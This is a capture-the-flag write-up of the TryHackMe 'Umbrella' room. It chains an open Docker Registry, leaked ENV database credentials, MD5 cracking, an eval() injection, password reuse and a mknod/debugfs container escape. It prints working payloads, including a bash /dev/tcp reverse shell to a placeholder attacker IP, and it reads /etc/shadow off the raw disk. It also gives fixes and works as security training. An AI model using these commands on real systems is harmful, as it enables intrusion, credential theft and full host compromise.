TryHackMe Docker Web Container Escape Medium

Umbrella

A Docker Registry left open to the world hands over the application image, and the database password turns out not to be in the code at all — it's sitting in the image's ENV metadata, where nobody thinks to look. From there it's MD5 hashes, an eval() the app politely advertises in its own UI, and a container escape that reads the host's raw disk without ever mounting it. Naming the corporation "Umbrella" was, in hindsight, a warning.

PlatformTryHackMe
DifficultyMedium
CategoryDocker / Web / Escape
01

Reconnaissance

Fast scan first — see who's talking before committing to the full 65535.

shell
sudo nmap -sS -sV -sC 10.48.153.254 -F -T4
22
SSH
OpenSSH 8.2p1 Ubuntu
3306
MySQL
5.7.40
5000
Docker Registry
HTTP API v2
8080
Node.js / Express
login page

Four ports, and three of them are already a story. MySQL listening on a public interface is a decision somebody made on purpose — the default in every sane deployment is bind-address = 127.0.0.1, so seeing 3306 answer from outside means it was deliberately opened. A Docker Registry on 5000 is even louder: that's a private artifact store for container images, the kind of thing that belongs behind a VPN and an auth proxy, not on the open internet.

The web app on 8080 gets the first look anyway, because that's where a login form is, and login forms are where credentials eventually get used.

Fuzzing 8080 — a dead end, quickly

shell
ffuf -u http://10.48.153.254:8080/FUZZ \ -w /usr/share/seclists/Discovery/Web-Content/common.txt \ -e .php,.html,.txt

Nothing. A login page and a whole lot of 404s. Which is fine — a Node/Express app isn't going to leak .php backups, and content discovery against a single-page login form is mostly a formality. Ten seconds of "well, it was worth checking."

Fuzzing 5000 — considerably more productive

shell
dirsearch -u http://10.48.153.254:5000 [200] /v2/ [200] /v2/_catalog

/v2/ returning 200 instead of 401 is the entire finding, right there. That endpoint is the Docker Registry API's version handshake, and it exists specifically so clients can probe whether authentication is required. A 401 with a WWW-Authenticate header means "log in first." A 200 means "help yourself."

An anonymous Docker Registry is a source-code disclosure vulnerability wearing a DevOps hat. Container images are not opaque binaries — they're tar archives of a full filesystem, plus a JSON manifest describing how the image was built. Anyone who can reach the API can download the application's complete source, its dependencies, its build history, and every environment variable baked in at build time. No exploit required; it's the API working exactly as designed.
02

Docker Registry API v2 — Enumerating the Shelf

The Registry API is small and completely predictable. Three requests take you from "there is a registry here" to "I have the image."

What repositories exist

shell
curl http://10.48.153.254:5000/v2/_catalog {"repositories":["umbrella/timetracking"]}

One repository: umbrella/timetracking. Given that port 8080 is serving a login page for what is presumably a time tracking app, we've just found its source code before we've found its password field.

What versions of it

shell
curl http://10.48.153.254:5000/v2/umbrella/timetracking/tags/list {"name":"umbrella/timetracking","tags":["latest"]}

What it's made of

The manifest is the image's table of contents: a list of layer digests plus a pointer to the config blob. Note the Accept header — ask for the v2 manifest schema explicitly, or the registry may hand back a legacy v1 format that's laid out differently.

shell
curl -H "Accept: application/vnd.docker.distribution.manifest.v2+json" \ http://10.48.153.254:5000/v2/umbrella/timetracking/manifests/latest
output — manifest (trimmed)
{ "schemaVersion": 2, "config": { "mediaType": "application/vnd.docker.container.image.v1+json", "digest": "sha256:7843f102a2fcb44f83d5..." # ← remember this one }, "layers": [ { "digest": "sha256:3f4ca61aafcd4fc07267..." }, { "digest": "sha256:00fde01815c92cc90586..." }, ... 11 layers total ... ] }
Two kinds of blob live in that JSON, and they hold different secrets. The layers array is the filesystem — every COPY, RUN and apt install from the Dockerfile, one tarball each. The config object is the metadata: entrypoint, working directory, exposed ports, build history, and — the part that matters later — the full ENV block. Most people unpack the layers, grep them, find nothing, and stop. The config blob is a separate download and it is where this box hides the keys.
03

Reassembling the Filesystem

Eleven layers, each fetched from the /blobs/ endpoint by digest. My shell is fish, so the loop syntax below is fish rather than bash — same idea, fewer semicolons.

fish — pull every layer
mkdir -p layers; cd layers for digest in \ 3f4ca61aafcd4fc07267a105067db35c0f0ac630e1970f3cd0c7bf552780e985 \ 00fde01815c92cc90586fcf531723ab210577a0f1cb1600f08d9f8e12c18f108 \ a3241ece5841b2e29213eb450a1b29385bf9e0063c37978253c98ff517e6e1b3 \ f897be510228b2f804fc2cb5d04cddae2e5689cbede553fb2d587c54be0ba762 \ 23e2f216e8246d20ed3271ad109cec07f2a00b17bef8529708d8ae86100c7e03 \ 15b79dac86ef36668f382565f91d1667f7a6fc876a3b58b508b6778d8ed71c0e \ 7fbf137cf91ff826f2b2fddf3a30ea2e3d2e62d17525b708fd76db392e58df62 \ e5e56a29478cdf60132aa574648135a89299151414b465942a569f2109eefa65 \ 82f3f98b46d4129f725cab6326d0521589d5b75ae0a480256495d216b2cd9216 \ 62c454461c50ff8fb0d1c5d5ad8146203bb4505b30b9c27e6f05461b6d07edcb \ c9124d8ccff258cf42f1598eae732c3f530bf4cdfbd7c4cd7b235dfae2e0a549 curl -s "http://10.48.153.254:5000/v2/umbrella/timetracking/blobs/sha256:$digest" \ -o "$digest.tar.gz" end

Now flatten them. Layers are ordered and cumulative — each one is a diff against everything below it — so extracting them into a single directory in manifest order reproduces the container's root filesystem exactly as the app sees it.

fish — flatten into one rootfs
mkdir -p ../rootfs for f in *.tar.gz tar -xzf "$f" -C ../rootfs 2>/dev/null end cd ../rootfs

The 2>/dev/null is not laziness — it's suppressing the whiteout-file warnings tar throws when a later layer deletes something an earlier one created. Harmless noise for our purposes.

Grepping for the obvious

fish — hunt for secrets
grep -rEn "password|passwd|DB_|mysql|secret|api_key|token" \ --include="*.js" --include="*.env" --include="*.json" \ --include="*.yml" --include="*.yaml" . 2>/dev/null find . -iname "*.env*" -o -iname "config*.js" -o -iname "docker-compose*"

This turns up the application source at usr/src/app/app.js — the whole Express app, routes and all — but no password. The DB connection reads from process.env.DB_PASS, which is exactly what a competent developer is supposed to do. Credentials don't belong in source control.

And here's the trap. "Not in the code" gets read as "not in the image," and those are very different statements. The developer moved the secret out of app.js and into an environment variable — then set that environment variable with an ENV instruction in the Dockerfile. Which bakes it permanently into the image metadata, published to a registry with no authentication. The secret didn't get protected; it got relocated somewhere less obvious.
04

The Config Blob — Where the Password Actually Lives

Back to the manifest, and that config.digest we set aside. It's fetched from the same /blobs/ endpoint as the layers, but it isn't a tarball — it's a plain JSON document describing the image's runtime configuration.

shell
curl -s http://10.48.153.254:5000/v2/umbrella/timetracking/blobs/sha256:7843f102a2fcb44f83d52a49afaff3af44e2b59793fbd06c21d235395588a286 \ | python3 -m json.tool | grep -A 30 '"Env"'
output — image config, Env block
"Env": [ "PATH=/usr/local/sbin:/usr/local/bin:...", "NODE_VERSION=18.12.1", "DB_HOST=db", "DB_USER=root", "DB_PASS=[redacted]", # ← there it is "DB_DATABASE=timetracking", "LOG_FILE=/logs/tt.log" ]

Root credentials to the database, published anonymously over HTTP, retrievable with a single curl. The password itself is a piece of chess notation — a real opening line, move by move — which is a genuinely nice touch from the room author and also completely irrelevant to how fast it fell over. Cleverness in a password only helps if the password is somewhere secret.

ENV in a Dockerfile is not a secret store — it's the opposite. Anything set with ENV is written into the image config, survives forever in the build history, is visible to docker inspect, to docker history, to every developer who pulls the image, and to any stranger who can reach the registry. Even ARG passed at build time leaks into history. Real secrets go in at runtime — orchestrator secrets, a mounted vault, --env-file outside the image — never at build time.
Also worth reading in that same blob: the history array. It contains every Dockerfile instruction as a literal command string. Even when Env is clean, build history routinely leaks internal hostnames, private package registry URLs, curl commands with tokens in them, and the odd RUN echo $PASSWORD > /tmp/x. It's free reconnaissance and almost nobody sanitises it.
05

MySQL — Root, From the Internet

The DB_HOST=db value is a Docker Compose service name, meaningless from outside the container network. But nmap already told us 3306 answers on the host itself, so the database is reachable directly — the credentials just need pointing at the public IP instead.

shell
mysql -h 10.48.153.254 -u root -p'[redacted]' timetracking
sql
SHOW DATABASES; USE timetracking; SHOW TABLES; SELECT * FROM users;
UserPassword hash
claire-r2ac9cb7dc02b3c0083eb70898e549b6332 hex chars — unsalted MD5
chris-r0d107d09f5bbe40cade3de5c71e9e9b7same
jill-vd5c0607301ad5d5c1528962a83992ac8same
barry-b4a04890400b5d7bac101baace5d7e994same

Resident Evil's entire surviving cast, stored as bare MD5. We don't even have to guess the algorithm — the source code we pulled out of the registry in section 03 spells it out:

javascript — usr/src/app/app.js
const hash = crypto.createHash('md5').update(password).digest('hex');
MD5 with no salt, in 2026. No salt means identical passwords produce identical hashes — so duplicates across accounts are visible at a glance — and MD5 itself is fast enough that a consumer GPU chews through billions of candidates per second. This is not "weak hashing," it's "storing the passwords with extra steps." Password storage is a solved problem with exactly three acceptable answers: bcrypt, scrypt, or Argon2.
06

Cracking, and Walking Through the Front Door

Four hashes, one wordlist, no strategy required.

shell
john --format=Raw-MD5 --wordlist=~/Downloads/rockyou.txt hash.txt john --format=Raw-MD5 --show hash.txt claire-r:Password1 1 password hash cracked, 3 left

Instant. Not "a few minutes" — instant, because Password1 sits near the top of rockyou and satisfies most corporate complexity policies at the same time: uppercase, lowercase, a digit, eight characters. It is the canonical example of a policy that measures the wrong thing. The other three held out, and one cracked account is one more than we need.

Logging into the app

Straight to http://10.48.153.254:8080 with claire-r:Password1. The credentials came out of the app's own users table, so of course they work — this is the intended login, just with someone else's password.

timetracking — authenticated dashboard200 OK
Umbrella time tracking dashboard after login: an Increase time spent form with a Pro Tip saying mathematical expressions like 5+4 are accepted, next to a Time Tracking Statistics table listing claire-r, chris-r, jill-v and barry-b
Left: the "Increase time spent" form. Right: the stats table — barry-b has logged 798 hours, which is either dedication or a very stuck timer.

And there, in a friendly blue banner, the application volunteers the vulnerability:

"Pro Tip: You can also use mathematical expressions, e.g. 5+4"

A web form that evaluates arithmetic is a web form that is running something as code. There are safe ways to parse 5+4 and there are lazy ways, and a hint box bragging about the feature is a strong signal about which one got shipped. We already have the source code, so no guessing is necessary — just open app.js and look at the route.

07

eval() — Remote Code Execution as Advertised

javascript — app.js, POST /time
app.post('/time', (request, response) => { // ... let timeCalc = parseInt(eval(request.body.time)); // ← user input, straight into eval() // ... });

User-controlled input passed directly to eval(). That's Server-Side Code Injection — the whole vulnerability in one line. parseInt() wrapped around it does absolutely nothing defensive: eval() runs first, executes whatever it's given, and only then does parseInt() attempt to make a number out of the leftovers. By the time parseInt has an opinion, our code has already run.

Crucially, this is blind. The route stores a number and redirects; it never reflects the result back. So the first job isn't a shell, it's an output channel.

Building an output channel

Express is serving static files out of /usr/src/app/public/ — we know the path because we unpacked the filesystem. So: run the command, write stdout into the static directory, then fetch it over HTTP like a normal web page.

shell — prove execution
curl -s -b "connect.sid=<session_cookie>" \ -X POST http://10.48.153.254:8080/time \ --data-urlencode "time=require('fs').writeFileSync('/usr/src/app/public/out.txt', require('child_process').execSync('id').toString())" curl -s http://10.48.153.254:8080/out.txt uid=0(root) gid=0(root) groups=0(root)
Grab connect.sid from browser devtools after logging in as claire-r. The /time route is behind session auth, so an unauthenticated POST just bounces to the login page. This is why the cracked password mattered: the RCE was never reachable anonymously.

uid=0(root). The Node process is running as root — the container image never dropped privileges with a USER instruction, which is the norm far more often than it should be.

Reverse shell

shell — listener
nc -lvnp 4444
shell — trigger
curl -s -b "connect.sid=<session_cookie>" \ -X POST http://10.48.153.254:8080/time \ --data-urlencode "time=require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1\"')"

Shell lands. Root — but root of a container, which is a smaller kingdom than it sounds. hostname is a random hex string, /proc/1/cgroup mentions Docker, and the filesystem is the same one we already downloaded and read at our leisure. There is nothing in here we don't already have.

08

Credential Reuse — Container to Host

The container is a dead end by design; the host is the target. And the shortest path there has nothing to do with Docker at all. claire-r is a username in the application's database, and port 22 is open, and people reuse passwords.

shell
ssh [email protected] # password: Password1 claire-r@umbrella:~$ cat user.txt THM{[redacted]}

A password cracked out of a web application's user table opened an SSH session on the underlying host. No exploit, no escalation — the same six characters and a digit, used twice.

Every credential you recover is a credential to spray everywhere. Database rows, config files, git history, image metadata — the moment you have user:pass, try it against SSH, SMB, the VPN, the mail server, the admin panel. Credential reuse is not a CTF shortcut; it's the single most reliable lateral movement technique in real engagements, because password managers are a habit most humans never picked up.

So now we hold two positions on the same machine: root inside a container, and an unprivileged user on the host. Neither is enough on its own. Together they're everything.

09

Container Escape — Reading the Host's Disk Through the Wall

This is the good part. The escape needs no kernel exploit and no CVE — just three ordinary Linux behaviours pointed at each other.

The three pieces

01
CAP_MKNOD is in Docker's default capability set. Root inside a container can call mknod and create a block device node pointing at any major/minor number it likes — including the host's real disk. The device node is just a pointer; creating it is not privileged in any meaningful sense.
02
The devices cgroup blocks reading it — but only from inside. Docker knows about this trick and enforces a device whitelist through the cgroup. Any process inside the container's cgroup gets EPERM on that node. Note carefully what's being restricted: not the file, the cgroup membership of the reader.
03
/proc/<PID>/root is a doorway from the host into any container. For every process, the kernel exposes its root directory as a symlink under /proc. A host process reading /proc/<PID>/root/hostdisk reaches the node we created — but does so from outside the container's cgroup, so the device whitelist never applies to it.
The container walls are made of cgroups and namespaces, and /proc punches a hole straight through both. The device node is created where the restriction exists, and read from where it doesn't. Nothing is broken; two correct mechanisms simply don't know about each other.

The last constraint: /proc/<PID>/root is guarded by the kernel's ptrace_may_access check. To traverse it, the reader must either hold CAP_SYS_PTRACE or match the target process's UID. claire-r has neither capability nor root — so we make the UIDs match instead, by spawning a process inside the container that pretends to be claire-r.

Step 1 — find the host's disk (in the container)

container — root shell
cat /proc/partitions major minor #blocks name 253 0 6549504 dm-0 # ← host LVM root volume, visible from inside

/proc/partitions is not namespaced. The container can enumerate every block device on the host — it just can't open them. Major 253, minor 0.

Step 2 — create the device node (in the container)

container — root shell
cd / mknod hostdisk b 253 0 chmod 777 hostdisk # reading it here fails — devices cgroup says no. Expected.

Step 3 — learn claire-r's UID (on the host)

host — ssh
id uid=1001(claire-r) gid=1001(claire-r) groups=1001(claire-r)

Step 4 — spawn a matching process (in the container)

Node is already installed — it's the application runtime — so it's the most convenient way to drop privileges and hold a process open. Order matters: setgid before setuid, because once you've dropped UID you no longer have the privilege to change GID.

container — root shell
node -e "process.setgid(1001); process.setuid(1001); require('child_process').spawn('/bin/sh', {stdio: 'inherit'});"

A shell now runs inside the container as UID 1001. It has no special powers there — its only job is to exist, owned by the right number, with the container's root filesystem attached to it.

Step 5 — find its PID from the host

host — ssh
ps aux | grep '/bin/sh' claire-r 2320 0.0 0.0 2608 600 ? Ss /bin/sh
This PID must be read on the host, not in the container. PID namespaces mean the same process has two different numbers — maybe 42 inside, 2320 outside — and /proc on the host only answers to the host's numbering. Grabbing the container-side PID and wondering why /proc/42/root is somebody else's process is the classic way to lose twenty minutes here. Note also that the host's ps shows the process as owned by claire-r — the host and the container share a UID space, which is precisely the property being abused.

Step 6 — reach the device from outside

host — ssh
ls -la /proc/2320/root/hostdisk brwxrwxrwx 1 root root 253, 0 /proc/2320/root/hostdisk

An unprivileged host user is now holding a readable handle on the host's root volume. Same inode, same device — the only thing that changed is which side of the cgroup boundary the reader is standing on.

Step 7 — read the filesystem without mounting it

mount would need CAP_SYS_ADMIN, which claire-r doesn't have. So don't mount it — parse it. debugfs is the ext2/3/4 debugger, it speaks the on-disk format natively, and it only needs read access to the block device.

host — ssh
debugfs -R "cat /etc/shadow" /proc/2320/root/hostdisk # root:$6$... — every hash on the box debugfs -R "cat /root/root.txt" /proc/2320/root/hostdisk THM{[redacted]}
File permissions are enforced by the filesystem driver — and we just went underneath it. /etc/shadow being 0640 root:shadow is a rule the kernel applies when you open a path through a mounted filesystem. Reading raw blocks off the device and decoding the inodes yourself never involves that code path. Whoever can read the block device can read every file on it, and root's private keys are sitting in the same place the flag was.
The fixes, in order of how much they'd have helped: drop CAP_MKNOD (--cap-drop=MKNOD, or better --cap-drop=ALL and add back only what's needed); don't run the container process as root (USER node in the Dockerfile); enable user namespace remapping so container UID 0 maps to an unprivileged host UID and the UID-matching trick collapses; and hidepid=2 on /proc so unprivileged users can't enumerate other users' processes at all.
10

Chain Summary & Takeaways

01 registry API v2, no auth anonymous read on the private image store — port 5000 wide open
02 pull layers + manifest full application source code, offline, before authenticating to anything
03 config blob → ENV MySQL root credentials baked into image metadata at build time
04 3306 bound to 0.0.0.0 direct DB access from the internet — users table dumped
05 unsalted MD5 + rockyou claire-r cracked instantly → login to the web application
06 eval(request.body.time) blind RCE → output via static dir → reverse shell as root in container
07 password reuse on SSH unprivileged foothold on the host itself — user.txt
08 CAP_MKNOD + /proc/PID/root host block device readable from outside the cgroup
09 debugfs on raw device /etc/shadow and /root/root.txt read straight off disk, permissions bypassed
T1
A container image is a filesystem and a JSON file, and people only ever grep the filesystem. Layers hold the code; the config blob holds the environment and the build history. When an image looks clean, you've probably only looked at half of it.
T2
Moving a secret out of source code and into ENV feels like a fix and isn't one. The credential stops being in git and starts being in an artifact that gets pushed to a registry, cached on every build agent, and pulled by everyone. Build time is the wrong time to introduce a secret — inject it at runtime.
T3
An app that offers to evaluate arithmetic is telling you it runs code. The Pro Tip banner here was a feature description and a vulnerability disclosure in the same sentence. Any "calculator" behaviour in a request field deserves a serious look at how the parsing is done.
T4
Blind RCE just needs an output channel, and web apps hand you one. A static directory you can write to turns a silent eval() into an interactive terminal over HTTP. Knowing the app's paths — because you pulled the image — is what makes that a ten-second step instead of a guessing game.
T5
Root in a container is a position, not a prize. The interesting question is never "am I root here" but "what does this container share with the host" — UID space, /proc, capabilities, the kernel itself. All four were shared here.
T6
Two weak positions compose into a strong one. Root-in-container couldn't read the disk. Unprivileged-on-host couldn't create the device node. Neither foothold was an escape by itself; the escape was the pair of them, joined by a matching UID. Enumerate what you hold together, not one shell at a time.
Flags and room answers redacted. TryHackMe's terms prohibit publishing room answers, so the DB password and both flags stay out of this writeup. Every command above reproduces them against a live instance in a few minutes, which is the part actually worth having.